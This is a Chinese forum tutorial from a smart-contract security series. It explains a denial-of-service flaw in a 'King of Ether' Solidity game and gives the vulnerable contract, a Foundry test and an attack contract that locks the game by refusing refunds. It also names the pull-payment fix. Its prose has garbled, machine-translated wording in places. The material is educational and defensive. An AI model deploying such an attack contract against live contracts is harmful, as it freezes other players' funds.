区块链安全常见的攻击分析——拒绝服务攻击 (Denial of Service-DOS)King合约【11】

[复制链接]
发表于 2025-11-14 12:22:36 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
合约内容:在合约游戏中,新玩家通过发送比当前 King 更多的代币来成为新的 King,同时合约会将原 King 的代币退回。
重点:
假如原 King 是一个合约地点,而且合约没有实现 receive 或 fallback 函数来吸代替币,退回代币的 call 操纵会失败,从而导致整个合约无法继承运行,游戏制止。
1.1 毛病分析

会把上一个king转进来的钱退回,假如上一个king汲取退回的函数有题目,就会导致合约游戏制止。

1.2 毛病合约

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.18;
  3. import "forge-std/Test.sol";
  4. /*
  5. 名称:拒绝服务攻击 (Denial of Service)
  6. 描述:
  7. KingOfEther 合约设计了一场游戏,用户可以通过发送比当前余额更多的以太币来获得“王位”。
  8. 合约会尝试将当前余额返还给上一个“国王”,当新用户发送更多的以太币时。
  9. 然而,这种机制可能被利用。攻击者的合约(这里是 Attack 合约)可以成为“国王”,
  10. 然后在其回退函数中触发回退失败或者消耗超过规定的 Gas 限制,
  11. 导致当 KingOfEther 合约试图将以太币返还给上一个国王时,claimThrone 函数失败。
  12. 缓解措施:
  13. 使用 Pull payment 模式,解决方法是让用户自己提取他们的以太币,而不是直接将以太币发送给他们。
  14. 参考:
  15. https://slowmist.medium.com/intro-to-smart-contract-security-audit-dos-e23e9e901e26
  16. */
  17. contract KingOfEther {
  18.     address public king;
  19.     uint public balance;
  20.     function claimThrone() external payable {
  21.         require(msg.value > balance, "Need to pay more to become the king");
  22.         (bool sent, ) = king.call{value: balance}("");
  23.         require(sent, "Failed to send Ether");
  24.         balance = msg.value;
  25.         king = msg.sender;
  26.     }
  27. }
复制代码
1.3 攻击步调分析


  • 在攻击合约中调用 claimThrone 函数,成为当前 King。故意不实现 receive 或 fallback 函数,确保攻击合约无法汲取退回的代币。

  • 当下一个玩家(如 Aquarius)实验通过调用 claimThrone 函数成为新的 King 时,合约会实验将代币退回给攻击合约。


  • 由于攻击合约无法吸代替币,退回操纵失败,导致交易业务回滚,Aquarius 的竞争失败。合约陷入死锁状态,游戏无法继承举行。

办理方法

假如攻击合约有receive汲取函数,用户Aquarius会竞选乐成

效果输出:

1.4 攻击合约

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.18;
  3. import "forge-std/Test.sol";
  4. import "./DOS.sol";
  5. contract ContractTest is Test {
  6.     KingOfEther KingOfEtherContract;
  7.     Attack attackContract;
  8.     address Koko;
  9.     address Aquarius;
  10.     function setUp() public {
  11.         KingOfEtherContract = new KingOfEther();
  12.         attackContract = new Attack();
  13.         Koko = vm.addr(1);
  14.         Aquarius = vm.addr(2);
  15.         vm.deal(address(Koko), 1 ether);
  16.         vm.deal(address(Aquarius), 9 ether);
  17.         vm.deal(address(attackContract), 6 ether);
  18.         console.log("address(Koko):", address(Koko));
  19.         console.log("address(Aquarius):", address(Aquarius));
  20.         console.log("address(attackContract):", address(attackContract));
  21.     }
  22.     function testKingOfEther() public {
  23.         console.log(
  24.             "KingOfEther Contract king:",
  25.             KingOfEtherContract.king(),
  26.             "balance:",
  27.             KingOfEtherContract.balance()
  28.         );
  29.         vm.prank(Koko); //  Koko 调函数,竞争king
  30.         console.log("koko claim king");
  31.         KingOfEtherContract.claimThrone{value: 1 ether}(); // 附带 1 ether 调用 claimThrone 函数
  32.         console.log(
  33.             "KingOfEther Contract king:",
  34.             KingOfEtherContract.king(),
  35.             "balance:",
  36.             KingOfEtherContract.balance()
  37.         );
  38.         // 攻击
  39.         console.log("ATTACK claim king..");
  40.         attackContract.attack{value: 6 ether}(address(KingOfEtherContract));
  41.         console.log(
  42.             "KingOfEther Contract king:",
  43.             KingOfEtherContract.king(),
  44.             "balance:",
  45.             KingOfEtherContract.balance()
  46.         );
  47.         vm.prank(Aquarius); // Aquarius 竞争king
  48.         console.log("Aquarius claim king");
  49.         vm.expectRevert("Failed to send Ether");
  50.         KingOfEtherContract.claimThrone{value: 9 ether}(); // 附带 9 ether 调用 claimThrone 函数
  51.         console.log("Aquarius FAIL !!");
  52.         console.log(
  53.             "KingOfEther Contract king:",
  54.             KingOfEtherContract.king(),
  55.             "balance:",
  56.             KingOfEtherContract.balance()
  57.         );
  58.     }
  59. }
  60. contract Attack {
  61.     address kingOfEtherAddress;
  62.     function attack(address _kingOfEtherAddress) public payable {
  63.         kingOfEtherAddress = _kingOfEtherAddress;
  64.         KingOfEther(kingOfEtherAddress).claimThrone{value: msg.value}();
  65.     }
  66. }
复制代码
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表